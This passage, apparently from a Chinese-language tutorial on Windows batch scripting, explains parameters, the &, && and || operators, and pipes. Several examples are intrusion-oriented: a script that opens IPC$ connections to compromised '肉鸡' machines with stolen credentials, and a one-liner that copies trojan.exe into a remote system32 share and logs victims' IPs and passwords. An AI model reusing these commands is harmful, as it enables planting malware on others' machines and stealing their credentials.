二、如何在批处理文件中使用参数?
批处理中可以使用参数 , 一般从1%到 9%这九个 , 当有多个参数时需要用shift来移动 , 这种情况并不多见 , 我们就不考虑它了 。
sample1:fomat.bat
@echo off
if ”%1“==”a“ format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘 , 所以用的时候需在dos窗口输入fomat.bat a , 呵呵 , 好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令 , 弄不好就打错了 , 所以我们不如把一些固定命令写入一个批处理 , 把肉鸡地ip password username 当着参数来赋给这个批处理 , 这样就不用每次都打命令了 。
@echo off
@net use /1%ipc$ ”2%“ /u:”3%“ 注意哦 , 这里PASSWORD是第二个参数 。
@if errorlevel 1 echo connection failed
怎么样 , 使用参数还是比较简单的吧?你这么帅一定学会了^_^.
三、如何使用组合命令(Compound Command)?
1、&
Usage:第一条命令 & 第二条命令 [& 第三条命令 。。。]
用这种方法可以同时执行多条命令 , 而不管命令是否执行成功
Sample:
C:》dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:51 《DIR》。
2002-05-14 23:51 《DIR》。。
2002-05-14 23:51 14 sometips.gif
2、&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令 。。。]
用这种方法可以同时执行多条命令 , 当碰到执行出错的命令后将不执行后面的命令 , 如果一直没有出错则一直执行完所有命令;
Sample:
C:》dir z: && dir c:Ex4rch
The system cannot find the path specified.
C:》dir c:Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:55 《DIR》。
2002-05-14 23:55 《DIR》。。
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768 , 671 , 744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单 , 如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
如果远程服务器上存在backup.mdb文件 , 就执行copy命令 , 若不存在该文件则不执行copy命令 。这种用法可以替换IF exist了 :)
3、||
Usage:第一条命令 || 第二条命令 [|| 第三条命令 。。。]
用这种方法可以同时执行多条命令 , 当碰到执行正确的命令后将不执行后面的命令 , 如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:Ex4rch》dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768 , 696 , 320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe /dmin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 》》victim.txt
四、管道命令的使用
1、| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令 。。。]
将第一条命令的结果作为第二条命令的参数来使用 , 记得在unix中这种方式很常见 。
sample:
time /t》》D:IP.log
netstat -n -p tcp|find ”:3389“》》D:IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序 , 来实现让用户运行下面这个bat , 以获得登录用户的IP 。
推荐阅读
- 如何添加本地打印机与共享网络上的打印机
- 蛇皮是什么意思网络用语
- 999什么意思网络流行语 999999什么意思网络流行语
- 槑是什么意思
- 养猪常用的中草药
- 欧派是什么意思
- 养猪场常用的疫苗
- 农村常用的养猪模式
- 坐火车流程 坐火车流程是什么
- 怎么设置个别短信加密 如何设置常用短信
